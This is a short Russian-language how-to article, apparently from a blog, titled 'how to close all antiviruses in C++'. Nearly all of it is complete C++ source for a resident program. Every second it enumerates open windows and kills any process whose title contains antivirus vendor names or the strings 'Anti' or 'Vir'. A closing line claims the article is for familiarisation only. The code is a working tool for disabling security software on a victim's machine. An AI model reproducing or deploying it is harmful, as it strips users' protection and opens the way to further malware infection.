Как закрыть все антивирусы на C++.
В это раз мы будем закрывать все активные окна в заголовке которых встречаются слова "Norton","AVP","Anti","Vir","McAfee","anti","vir" . Программа будет висеть в памяти, перебирать все формы, окна и найдя в необходимом окне нужное слово — закрывать это окно.
#pragma hdrstop
#pragma argsused
#include <windows.h>
char* bad_windows_list[7] = {"Norton","AVP","Anti","Vir","McAfee","anti","vir"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<7;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine(HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC)WndEnumProcMine,c);
}
int main(int argc, char* argv[])
{
do
{
Sleep(1000);
EnumProcessesOther();
}while(1);
return 0;
}
Статья написана исключительно для ознакомления. Современные антивирусы и фаерволы защищены от подобных вмешательств.
Написать комментарий